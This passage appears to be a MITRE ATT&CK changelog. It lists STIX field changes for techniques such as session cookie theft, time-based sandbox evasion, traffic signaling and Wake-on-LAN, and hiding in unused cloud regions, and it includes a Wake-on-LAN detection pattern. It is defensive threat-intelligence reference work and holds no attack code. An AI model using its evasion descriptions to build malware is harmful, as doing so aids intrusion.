Cookie](https://attack.mitre.org/techniques/T1506) technique to login to the corresponding web application. | An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application. |
| external_references[3]['description'] | Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. | Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. |
| x_mitre_data_sources[0] | File monitoring | File: File Access |
| x_mitre_data_sources[1] | API monitoring | Process: Process Access |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-29 16:16:06.868000+00:00 | 2020-11-05 16:07:04.189000+00:00 |
| x_mitre_data_sources[0] | Windows event logs | Active Directory: Active Directory Credential Request |
| x_mitre_data_sources[1] | Authentication logs | Logon Session: Logon Session Metadata |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 18:17:42.298000+00:00 | 2021-03-08 10:33:01.066000+00:00 |
| x_mitre_data_sources[0] | Azure activity logs | Instance: Instance Metadata |
| x_mitre_data_sources[1] | Stackdriver logs | Process: Process Creation |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Command: Command Execution |
| x_mitre_data_sources[3] | Process monitoring | Process: OS API Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 14:15:32.910000+00:00 | 2021-03-08 10:33:01.083000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may gather the system time and/or time zone fro | t | 1 | An adversary may gather the system time and/or time zone fro |
| > | m a local or remote system. The system time is set and store | > | m a local or remote system. The system time is set and store | ||
| > | d by the Windows Time Service within a domain to maintain ti | > | d by the Windows Time Service within a domain to maintain ti | ||
| > | me synchronization between systems and services in an enterp | > | me synchronization between systems and services in an enterp | ||
| > | rise network. (Citation: MSDN System Time) (Citation: Techne | > | rise network. (Citation: MSDN System Time) (Citation: Techne | ||
| > | t Windows Time Service) System time information may be gath | > | t Windows Time Service) System time information may be gath | ||
| > | ered in a number of ways, such as with [Net](https://attack. | > | ered in a number of ways, such as with [Net](https://attack. | ||
| > | mitre.org/software/S0039) on Windows by performing <code>net | > | mitre.org/software/S0039) on Windows by performing <code>net | ||
| > | time \\hostname</code> to gather the system time on a remot | > | time \\hostname</code> to gather the system time on a remot | ||
| > | e system. The victim's time zone may also be inferred from t | > | e system. The victim's time zone may also be inferred from t | ||
| > | he current system time or gathered by using <code>w32tm /tz< | > | he current system time or gathered by using <code>w32tm /tz< | ||
| > | /code>. (Citation: Technet Windows Time Service) The informa | > | /code>. (Citation: Technet Windows Time Service) This infor | ||
| > | tion could be useful for performing other techniques, such a | > | mation could be useful for performing other techniques, such | ||
| > | s executing a file with a [Scheduled Task/Job](https://attac | > | as executing a file with a [Scheduled Task/Job](https://att | ||
| > | k.mitre.org/techniques/T1053) (Citation: RSA EU12 They're In | > | ack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're | ||
| > | side), or to discover locality information based on time zon | > | Inside), or to discover locality information based on time z | ||
| > | e to assist in victim targeting. | > | one to assist in victim targeting (i.e. [System Location Dis | ||
| > | covery](https://attack.mitre.org/techniques/T1614)). Adversa | ||||
| > | ries may also use knowledge of system time as part of a time | ||||
| > | bomb, or delaying execution until a specified date/time.(Ci | ||||
| > | tation: AnyRun TimeBomb) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ["FIRST.ORG's Cyber Threat Intelligence SIG"] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 01:07:42.700000+00:00 | 2021-04-22 23:09:24.799000+00:00 |
| description | An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)
System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting. | An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)
System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service)
This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb) |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | API monitoring | Process: OS API Execution |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'AnyRun TimeBomb', 'description': 'Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.', 'url': 'https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various time-based methods to detect | t | 1 | Adversaries may employ various time-based methods to detect |
| > | and avoid virtualization and analysis environments. This may | > | and avoid virtualization and analysis environments. This may | ||
| > | include timers or other triggers to avoid a virtual machine | > | include enumerating time-based properties, such as uptime o | ||
| > | environment (VME) or sandbox, specifically those that are a | > | r the system clock, as well as the use of timers or other tr | ||
| > | utomated or only operate for a limited amount of time. Adve | > | iggers to avoid a virtual machine environment (VME) or sandb | ||
| > | rsaries may employ various time-based evasions, such as dela | > | ox, specifically those that are automated or only operate fo | ||
| > | ying malware functionality upon initial execution using prog | > | r a limited amount of time. Adversaries may employ various | ||
| > | rammatic sleep commands or native system scheduling function | > | time-based evasions, such as delaying malware functionality | ||
| > | ality (ex: [Scheduled Task/Job](https://attack.mitre.org/tec | > | upon initial execution using programmatic sleep commands or | ||
| > | hniques/T1053)). Delays may also be based on waiting for spe | > | native system scheduling functionality (ex: [Scheduled Task/ | ||
| > | cific victim conditions to be met (ex: system time, events, | > | Job](https://attack.mitre.org/techniques/T1053)). Delays may | ||
| > | etc.) or employ scheduled [Multi-Stage Channels](https://att | > | also be based on waiting for specific victim conditions to | ||
| > | ack.mitre.org/techniques/T1104) to avoid analysis and scruti | > | be met (ex: system time, events, etc.) or employ scheduled [ | ||
| > | ny. | > | Multi-Stage Channels](https://attack.mitre.org/techniques/T1 | ||
| > | 104) to avoid analysis and scrutiny. Adversaries may also u | ||||
| > | se time as a metric to detect sandboxes and analysis environ | ||||
| > | ments, particularly those that attempt to manipulate time me | ||||
| > | chanisms to simulate longer elapses of time. For example, an | ||||
| > | adversary may be able to identify a sandbox accelerating ti | ||||
| > | me by sampling and calculating the expected value for an env | ||||
| > | ironment's timestamp before and after execution of a sleep f | ||||
| > | unction.(Citation: ISACA Malware Tricks) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:32:02.532000+00:00 | 2021-04-01 15:48:28.345000+00:00 |
| description | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny. | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny. Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks) |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ISACA Malware Tricks', 'description': 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.', 'url': 'https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes'} | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 2.2
Version changed from: 2.1 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use traffic signaling to hide open ports or | t | 1 | Adversaries may use traffic signaling to hide open ports or |
| > | other malicious functionality used for persistence or comman | > | other malicious functionality used for persistence or comman | ||
| > | d and control. Traffic signaling involves the use of a magic | > | d and control. Traffic signaling involves the use of a magic | ||
| > | value or sequence that must be sent to a system to trigger | > | value or sequence that must be sent to a system to trigger | ||
| > | a special response, such as opening a closed port or executi | > | a special response, such as opening a closed port or executi | ||
| > | ng a malicious task. This may take the form of sending a ser | > | ng a malicious task. This may take the form of sending a ser | ||
| > | ies of packets with certain characteristics before a port wi | > | ies of packets with certain characteristics before a port wi | ||
| > | ll be opened that the adversary can use for command and cont | > | ll be opened that the adversary can use for command and cont | ||
| > | rol. Usually this series of packets consists of attempted co | > | rol. Usually this series of packets consists of attempted co | ||
| > | nnections to a predefined sequence of closed ports (i.e. [Po | > | nnections to a predefined sequence of closed ports (i.e. [Po | ||
| > | rt Knocking](https://attack.mitre.org/techniques/T1205/001)) | > | rt Knocking](https://attack.mitre.org/techniques/T1205/001)) | ||
| > | , but can involve unusual flags, specific strings, or other | > | , but can involve unusual flags, specific strings, or other | ||
| > | unique characteristics. After the sequence is completed, ope | > | unique characteristics. After the sequence is completed, ope | ||
| > | ning a port may be accomplished by the host-based firewall, | > | ning a port may be accomplished by the host-based firewall, | ||
| > | but could also be implemented by custom software. Adversari | > | but could also be implemented by custom software. Adversari | ||
| > | es may also communicate with an already open port, but the s | > | es may also communicate with an already open port, but the s | ||
| > | ervice listening on that port will only respond to commands | > | ervice listening on that port will only respond to commands | ||
| > | or trigger other malicious functionality if passed the appro | > | or trigger other malicious functionality if passed the appro | ||
| > | priate magic value(s). The observation of the signal packet | > | priate magic value(s). The observation of the signal packet | ||
| > | s to trigger the communication can be conducted through diff | > | s to trigger the communication can be conducted through diff | ||
| > | erent methods. One means, originally implemented by Cd00r (C | > | erent methods. One means, originally implemented by Cd00r (C | ||
| > | itation: Hartrell cd00r 2002), is to use the libpcap librari | > | itation: Hartrell cd00r 2002), is to use the libpcap librari | ||
| > | es to sniff for the packets in question. Another method leve | > | es to sniff for the packets in question. Another method leve | ||
| > | rages raw sockets, which enables the malware to use ports th | > | rages raw sockets, which enables the malware to use ports th | ||
| > | at are already open for use by other programs. On network d | > | at are already open for use by other programs. On network d | ||
| > | evices, adversaries may use crafted packets to enable [Netwo | > | evices, adversaries may use crafted packets to enable [Netwo | ||
| > | rk Device Authentication](https://attack.mitre.org/technique | > | rk Device Authentication](https://attack.mitre.org/technique | ||
| > | s/T1556/004) for standard services offered by the device suc | > | s/T1556/004) for standard services offered by the device suc | ||
| > | h as telnet. Such signaling may also be used to open a clos | > | h as telnet. Such signaling may also be used to open a clos | ||
| > | ed service port such as telnet, or to trigger module modific | > | ed service port such as telnet, or to trigger module modific | ||
| > | ation of malware implants on the device, adding, removing, o | > | ation of malware implants on the device, adding, removing, o | ||
| > | r changing malicious capabilities.(Citation: Cisco Synful Kn | > | r changing malicious capabilities.(Citation: Cisco Synful Kn | ||
| > | ock Evolution) (Citation: FireEye - Synful Knock) (Citation: | > | ock Evolution) (Citation: FireEye - Synful Knock) (Citation: | ||
| > | Cisco Blog Legacy Device Attacks) To enable this traffic s | > | Cisco Blog Legacy Device Attacks) To enable this traffic s | ||
| > | ignaling on embedded devices, adversaries must first achieve | > | ignaling on embedded devices, adversaries must first achieve | ||
| > | and leverage [Patch System Image](https://attack.mitre.org/ | > | and leverage [Patch System Image](https://attack.mitre.org/ | ||
| > | techniques/T1601/001) due to the monolithic nature of the ar | > | techniques/T1601/001) due to the monolithic nature of the ar | ||
| > | chitecture. | > | chitecture. Adversaries may also use the Wake-on-LAN featur | ||
| > | e to turn on powered off systems. Wake-on-LAN is a hardware | ||||
| > | feature that allows a powered down system to be powered on, | ||||
| > | or woken up, by sending a magic packet to it. Once the syste | ||||
| > | m is powered on, it may become a target for lateral movement | ||||
| > | .(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Mag | ||||
| > | ic Packet) | ||||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 15:30:44.964000+00:00 | 2021-02-17 14:23:49.495000+00:00 |
| description | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet) |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_detection | Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. | Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.
The Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN) |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Bleeping Computer - Ryuk WoL', 'description': 'Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/'} | |
| external_references | {'source_name': 'AMD Magic Packet', 'description': 'AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.', 'url': 'https://www.amd.com/system/files/TechDocs/20213.pdf'} | |
| external_references | {'source_name': 'GitLab WakeOnLAN', 'description': 'Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.', 'url': 'https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN'} | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 23:43:44.256000+00:00 | 2021-03-08 10:33:01.280000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Snapshot: Snapshot Creation |
| x_mitre_data_sources[1] | Azure activity logs | Snapshot: Snapshot Modification |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Cloud Storage: Cloud Storage Modification |
| x_mitre_platforms[0] | Azure | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Cloud Storage: Cloud Storage Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | AWS | |
| x_mitre_platforms | GCP |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 19:39:36.109000+00:00 | 2021-04-12 18:32:33.620000+00:00 |
| x_mitre_data_sources[0] | Azure activity logs | Command: Command Execution |
| x_mitre_data_sources[1] | Authentication logs | File: File Access |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Process: Process Creation |
| x_mitre_data_sources[3] | Windows event logs | User Account: User Account Authentication |
| x_mitre_data_sources[4] | File monitoring | Windows Registry: Windows Registry Key Access |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create cloud instances in unused geographic | t | 1 | Adversaries may create cloud instances in unused geographic |
| > | service regions in order to evade detection. Access is usual | > | service regions in order to evade detection. Access is usual | ||
| > | ly obtained through compromising accounts used to manage clo | > | ly obtained through compromising accounts used to manage clo | ||
| > | ud infrastructure. Cloud service providers often provide in | > | ud infrastructure. Cloud service providers often provide in | ||
| > | frastructure throughout the world in order to improve perfor | > | frastructure throughout the world in order to improve perfor | ||
| > | mance, provide redundancy, and allow customers to meet compl | > | mance, provide redundancy, and allow customers to meet compl | ||
| > | iance requirements. Oftentimes, a customer will only use a s | > | iance requirements. Oftentimes, a customer will only use a s | ||
| > | ubset of the available regions and may not actively monitor | > | ubset of the available regions and may not actively monitor | ||
| > | other regions. If an adversary creates resources in an unuse | > | other regions. If an adversary creates resources in an unuse | ||
| > | d region, they may be able to operate undetected. A variati | > | d region, they may be able to operate undetected. A variati | ||
| > | on on this behavior takes advantage of differences in functi | > | on on this behavior takes advantage of differences in functi | ||
| > | onality across cloud regions. An adversary could utilize reg | > | onality across cloud regions. An adversary could utilize reg | ||
| > | ions which do not support advanced detection services in ord | > | ions which do not support advanced detection services in ord | ||
| > | er to avoid detection of their activity. For example, AWS Gu | > | er to avoid detection of their activity. An example of adve | ||
| > | ardDuty is not supported in every region.(Citation: AWS Regi | > | rsary use of unused AWS regions is to mine cryptocurrency th | ||
| > | on Service Table) An example of adversary use of unused AWS | > | rough [Resource Hijacking](https://attack.mitre.org/techniqu | ||
| > | regions is to mine cryptocurrency through [Resource Hijacki | > | es/T1496), which can cost organizations substantial amounts | ||
| > | ng](https://attack.mitre.org/techniques/T1496), which can co | > | of money over time depending on the processing power used.(C | ||
| > | st organizations substantial amounts of money over time depe | > | itation: CloudSploit - Unused AWS Regions) | ||
| > | nding on the processing power used.(Citation: CloudSploit - | ||||
| > | Unused AWS Regions) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:17:44.563000+00:00 | 2021-04-22 16:46:43.876000+00:00 |
| description | Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected. A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. For example, AWS GuardDuty is not supported in every region.(Citation: AWS Region Service Table) An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions) | Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected. A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions) |
| external_references[1]['source_name'] | AWS Region Service Table | CloudSploit - Unused AWS Regions |
| external_references[1]['description'] | Amazon. (2019, October 22). Region Table. Retrieved October 22, 2019. | CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019. |
| external_references[1]['url'] | https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/ | https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc |
| x_mitre_data_sources[0] | Stackdriver logs | Instance: Instance Creation |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CloudSploit - Unused AWS Regions', 'description': 'CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', 'url': 'https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc'} | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:40:44.714000+00:00 | 2021-04-14 18:09:47.427000+00:00 |
| x_mitre_data_sources[0] | Office 365 audit logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | OAuth audit logs | Web Credential: Web Credential Usage |
| x_mitre_data_sources[2] | Authentication logs | Application Log: Application Log Content |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | User Account: User Account Authentication | |
| x_mitre_data_sources | Active Directory: Active Directory Credential Request | |
| x_mitre_platforms | Google Workspace |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-11 14:55:56.315000+00:00 | 2021-04-20 16:34:09.236000+00:00 |
| x_mitre_data_sources[0] | Anti-virus | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Process command-line parameters | Instance: Instance Start |
| x_mitre_data_sources[2] | Process monitoring | Instance: Instance Creation |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Image: Image Creation | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Container: Container Start | |
| x_mitre_data_sources | Container: Container Creation | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_platforms | IaaS | |
| x_mitre_platforms | Containers |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 16:01:22.724000+00:00 | 2021-04-12 18:27:52.298000+00:00 |
| x_mitre_data_sources[0] | AWS CloudTrail logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Stackdriver logs | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | SaaS | macOS |
| x_mitre_platforms[7] | Office 365 | Google Workspace |
| x_mitre_platforms[8] | Azure AD | Containers |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Authentication logs | |
